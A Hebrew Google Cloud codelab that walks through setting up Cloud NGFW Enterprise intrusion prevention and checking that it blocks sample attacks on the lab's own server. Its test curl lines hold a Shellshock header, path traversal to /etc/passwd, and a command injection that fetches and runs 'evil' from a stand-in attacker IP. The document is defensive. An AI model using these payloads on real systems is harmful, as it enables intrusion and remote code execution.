Cloud NGFW Enterprise – שירות למניעת חדירות (ללא בדיקת TLS)

1. מבוא

חומת אש של Cloud Next Generation (NGFW)

חומת אש של Cloud Next Generation היא שירות חומת אש מבוזר במלואו שכולל יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי חודרניים כדי להגן על עומסי העבודה שלכם ב-Google Cloud מפני התקפות פנימיות וחיצוניות.

ל-Cloud NGFW יש את היתרונות הבאים:

  • שירות חומת אש מבוזר: Cloud NGFW מספק אכיפה מבוססת-מצב ומבוזרת באופן מלא על כל עומס עבודה, כדי לאפשר ארכיטקטורה של אבטחה באמצעות מודל אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע כללי מדיניות רשת והיררכיה היררכיים של חומת אש שאפשר לצרף לצומת של היררכיית משאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
  • בקרה מפורטת ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגים ממשלתיים לניהול זהויות והרשאות גישה (IAM) מספק שליטה טובה גם לתנועה מצפון-דרום וגם ממזרח-מערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).

Cloud NGFW זמין ברמות הבאות:

Cloud NGFW Enterprise

שירות Cloud NGFW Enterprise מוסיף את השירות למניעת חדירות (IPS), יכולת בשכבה 7, למארג המבוזר של חומת האש של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורת נתונים מוצפנת באמצעות TLS, אבל היא לא נכללת במסגרת Codelab הזה (מידע נוסף זמין במאמר Cloud NGFW Enterprise Codelab עם TLS).

עכשיו אפשר לפרוס בדיקות אמינות של חומת האש בשכבה 7 של הדור הבא (NGFW) עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב שלכם.

כדי להפעיל ולפרוס בקרות חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את המשימות הבאות:

  • יצירת קבוצה של נקודות קצה של חומת אש אזורית שמנוהלת ב-Google Cloud.
  • אפשר ליצור מדיניות לבדיקת TLS (שלא נכללת ב-Codelab הזה)
  • אפשר ליצור Trust Config (שלא נכלל ב-Codelab הזה)
  • משייכים את נקודות הקצה האלה לרשתות ענן וירטואלי פרטי (VPC) שבהן צריך את השירות Cloud NGFW Enterprise.
  • אפשר לבצע שינויים פשוטים במדיניות חומת האש ובכללי חומת האש, כדי לציין פרופילים של מניעת איומים בשביל נתיבי תעבורת הנתונים השונים.

כללי המדיניות של חומת האש של הרשת

מדיניות חומת האש של הרשת משמשת כמאגר כללי של חומת האש. כללים שמוגדרים במדיניות חומת אש של רשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת של רשת המשויכת אליה. כללי המדיניות של חומת האש ברשת תומכים בתגים שמנוהלים על ידי IAM (או רק תגים) בכללי חומת אש. הם מחליפים את תגי הרשת הנוכחיים ואפשר להשתמש בהם כדי לספק זהות לעומס העבודה.

שיתוף מדיניות של חומת אש בין רשתות בין רשתות והשילוב עם תגים שמנוהלים על ידי IAM, מפשטים מאוד את ההגדרה והניהול של חומות אש.

בעקבות ההשקה של מדיניות חומת האש ברשת, כללי מדיניות חומת האש של Google Cloud כוללים עכשיו את הרכיבים הבאים:

  1. מדיניות היררכית בנושא חומת אש
  2. כללי חומת אש של VPC
  3. מדיניות חומת האש של הרשת ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקיות בהיררכיית המשאבים, ואילו כללי חומת אש של VPC וכללי מדיניות של חומת אש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת אש של VPC למדיניות חומת האש של הרשת הוא שאפשר להחיל כללי חומת אש של VPC רק על רשת VPC אחת. לעומת זאת, כללי מדיניות של חומת אש של רשת יכולים להיות מצורפים ל-VPC יחיד או לקבוצה של רשתות VPC, בין שאר היתרונות כמו עדכונים בכמות גדולה.

לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים לכל רשת VPC:

  • כלל לתעבורת נתונים יוצאת (egress) שהפעולה שלו היא מותרת, היעד הוא 0.0.0.0/0
  • כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, המקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

21b3bcabc469ffe.png

שימו לב שניתן להחליף את צו האכיפה בין כללי חומת האש של ה-VPC למדיניות חומת האש של הרשת הגלובלית. הלקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.

תגים שמנוהלים על ידי IAM

התגים החדשים שמשולבים בכללי מדיניות חומת האש ברשת הם משאבים צמדי מפתח/ערך שמוגדרים בארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרת גישה של IAM, כפי שמרמז השם, שמציין מי יכול לבצע מה בתג. הרשאות IAM, למשל, מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, כללי חומת האש של הרשת יכולים להשתמש בו כדי לאשר ולדחות תנועה.

התגים פועלים בהתאם למודל משאבי הירושה של Google Cloud, והמשמעות היא התגים והערכים שלהם מועברים הלאה בהיררכיה מההורים שלהם. כתוצאה מכך, ניתן ליצור תגים במקום אחד ולאחר מכן להשתמש בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה אפשר למצוא פרטים על תגים והגבלת הגישה.

חשוב להבדיל בין תגים לבין תגי רשת. האחרונות הן מחרוזות שאפשר להוסיף למכונות של Compute Engine. הם משויכים למכונה ונעלמים כשמוציאים משימוש את המכונה. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת הגישה ל-IAM.

לתשומת ליבך: במסמך הזה נעשה שימוש לסירוגין בתגים ובתגים שמנוהלים על ידי IAM.

מה תפַתחו

כדי לבצע את ה-Codelab הזה נדרשים פרויקט יחיד ויכולת ליצור רשת VPC עם קישוריות ציבורית. הוא ידגים איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

  • בדיקת תהליכים בתוך ה-VPC/התת-רשת [מזרח-מערב]
  • בדיקת זרימת תעבורת נתונים נכנסת (ingress) מהאינטרנט [צפון-דרום]

התהליכים שייבדקו ייבחרו באמצעות פרמטרים תואמים של חומת אש ב-Cloud, כולל תגים מסוג 5 (כתובת IP של מקור, כתובת IP של היעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים. בדיקת TLS לא כלולה ב-Codelab הזה.

52a0642ef8668ecf.png

בסיס הכללים של מדיניות חומת האש של הרשת יהיה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים יוצאת (egress)

Quarantine_Tag

הכול

הכול

דחייה

בסיסיות

1000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

טווחים של בדיקות תקינות

הכול

אישור

בסיסיות

2000

תעבורת נתונים נכנסת (Ingress)

הכול

טווחים של שרת proxy לאימות זהויות (IAP)

הכול

אישור

בסיסיות

3000

תעבורת נתונים נכנסת (Ingress)

הכול

גיאוגרפי, GCTI

הכול

דחייה

Standard

4000

תעבורת נתונים יוצאת (egress)

הכול

הכול

גיאוגרפי, GCTI

דחייה

Standard

5000

תעבורת נתונים יוצאת (egress)

הכול

הכול

מספרי FQDN עם עדכון מערכת

אישור

Standard

6000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

הכול

IPS

ארגונים

7000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

CloudNAT_IP

הכול

IPS

ארגונים

מה תלמדו

מה צריך להכין

  • פרויקט ב-Google Cloud
  • ידע בפריסת מכונות ובהגדרת רכיבי רשת
  • מידע על הגדרת חומת אש ב-VPC

2. לפני שמתחילים

יצירה/עדכון של משתנים

ב-Codelab הזה נעשה שימוש ב-$variables כדי לעזור בהטמעת ההגדרות של gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות כדי להחליף את המידע בסוגריים מרובעים לפי הצורך (אפשר לדלג על הגדרת הפרויקט אם הפרויקט הרצוי כבר מוגדר). המערכת משתמשת במשתנה אחר למשאבים ברמת הארגון אם, לדוגמה: נדרשות נקודות קצה בחומת אש.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. הפעלת ממשקי API

מפעילים את ממשקי ה-API אם עדיין לא עשיתם זאת:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירה של נקודת קצה ופרופיל אבטחה של Cloud NGFW Enterprise

תהליך היצירה של נקודת הקצה ב-Cloud NGFW Enterprise נמשך כ-20 דקות, ולכן קודם צריך ליצור אותה ואפשר לבצע את ההגדרה הבסיסית במקביל בזמן היצירה של נקודת הקצה.

יוצרים את פרופיל האבטחה ואת הקבוצה של פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

בודקים שהמשאבים נוצרו בהצלחה:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט אמור להיראות כך:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

יוצרים את נקודת הקצה ב-Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

מריצים את הפקודה הבאה כדי לאשר שנקודת הקצה נוצרת (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

תהליך היצירה של נקודות הקצה נמשך כ-20 דקות. עוברים לקטע 'הגדרת בסיס' כדי ליצור את המשאבים הדרושים במקביל.

5. הגדרת הבסיס

אם אתם מעדיפים ליצור באופן ידני את משאבי הבסיס, תוכלו להמשיך לקטעים הבאים.

רשת VPC ורשת משנה

רשת VPC ורשת משנה

יצירת רשת ה-VPC ורשת המשנה:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יצירת שערי Cloud Routers ו-Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

ישויות

יוצרים את מופעי הלקוח ושרת האינטרנט:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

P תגים ברמת Roject

מקצים למשתמש הרשאות tagAdmin ו/או tagUser אם יש צורך:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

קישור תגים למכונות:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

המדיניות הגלובלית של חומת האש של הרשת

יצירת מדיניות גלובלית של חומת אש ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

אפשר ליצור כללים חיוניים ב-Cloud Firewall כדי לדחות תנועה ממכונות שנמצאות בהסגר (נוצרו כדוגמה בלבד, ולא נעשה בהן שימוש ב-Codelab הזה) ולאפשר תעבורת נתונים מטווחים של בדיקת תקינות ושרת proxy לאימות זהויות (IAP):

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

ליצור כללים סטנדרטיים לחומת האש של Cloud כדי לדחות תעבורת נתונים נכנסת (ingress) ויוצאת (egress) ממדינות שהוטל עליהן אמברגו, כתובות IP זדוניות ידועות וצמתים של יציאות ToR; ולאפשר רק תנועה של תעבורת נתונים יוצאת (egress) למזהי FQDN ספציפיים לצורך עדכוני מערכת (נוצרה כדוגמה בלבד, ולא משמשת ב-Codelab הזה):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

יצירת כללי חומת אש ב-Cloud כדי לאפשר תעבורת נתונים נכנסת (ingress) ממזרח-מערב / intra-subnet (תת-רשת) ומצפון-דרום / באינטרנט מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש של הרשת לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

מאזן עומסי רשת של TCP/UDP חיצוני

שומרים כתובת IP חיצונית ויוצרים את קבוצת המכונה ואת בדיקת התקינות:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

יצירת שירות לקצה העורפי וכל העברה:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. שיוך Cloud NGFW Enterprise Endpoint

להגדיר מחדש את משתני הסביבה לפי הצורך.

מוודאים שהיצירה של נקודת הקצה ב-Cloud Firewall הושלמה בהצלחה. ממשיכים רק אחרי שהמצב מוצג כפעיל (במהלך היצירה, המצב הצפוי הוא יצירה):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

תהליך השיוך לוקח כ-10 דקות. ממשיכים רק אחרי שהמצב מוצג כפעיל (המצב הצפוי הוא יצירה בתהליך היצירה):

gcloud network-security firewall-endpoint-associations list

הפלט אמור להיראות כך:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. כללי בדיקה של Cloud NGFW Enterprise

פותחים כרטיסייה חדשה ומפעילים חיבור SSH ל-VM של הלקוח באמצעות IAP (צריך להגדיר שוב את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מגדירים את המשתנים הנדרשים בסשן של SSH ומגדירים את המשתנים (חשוב לוודא שהערכים נכונים):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

מסמנים את שתי כתובות ה-IP כדי לוודא שניתן להגיע אליהן:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

התוצאה הצפויה של שתי בקשות ה-curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

לשלוח מתקפות לדוגמה אל כתובת ה-IP של השרת הפנימי (תנועה ממזרח-מערב / תנועה בתוך ה-VPC). שרת האינטרנט צריך להגיב לכל הבקשות, ולאשר שלא מתבצעת בדיקה/מניעה של L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שליחה מחדש של המתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), באופן דומה שרת האינטרנט אמור להגיב לכל הבקשות:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

התוצאות הצפויות עבור כתובות IP ציבוריות וגם פרטיות:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

חוזרים ל-Cloud Shell ומעדכנים את הכללים הקיימים של תעבורת נתונים נכנסת (ingress) כדי לאפשר בדיקה של L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

אפשר גם לתאר את הכללים של חומת האש כדי לוודא ששניהם עודכנו:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

כלל 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

חוזרים ל-VM של הלקוח ושולחים מחדש את ההתקפות לדוגמה אל כתובת ה-IP הפנימית של השרת (בדיקת East-West / Intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שליחה מחדש של המתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

לפי התוצאות הצפויות שבהמשך, לא התקבלו תגובות להתקפות הראשונות. מטרת הדיווח היא שמעכשיו התקפות חמורות ביותר חסומות.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

מנווטים אל אבטחת רשת > איומים במסוף Cloud לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).

daa535fcc34873aa.png

יש לבחור אחת מהמתקפות וללחוץ על 'הצגת יומן הביקורת' בצד שמאל (צריך לפתוח בכרטיסייה חדשה כדי לעבור חזרה בקלות). מרחיבים את המתקפה כדי להציג את הפרטים:

5f97cdef79e42eff.png

אפשר גם להחליף את המסנן Log Explorer בשאילתה הבאה:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

יש לראות את הרשומות ביומן האיומים באופן הבא:

5ea9581a7eb694c5.png

אפשר לאמת חבילות יירוט של חומת אש של Cloud באמצעות המסנן Log Explorer שבהמשך (מועיל לפתרון בעיות):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

ממשיכים לבדיקת התנועה באינטרנט (אופציונלי) או סוגרים את סשן ה-SSH וממשיכים לפרק הבא כדי לבצע את שלבי הניקוי.

[אופציונלי] בדיקה של תנועת הגולשים באינטרנט

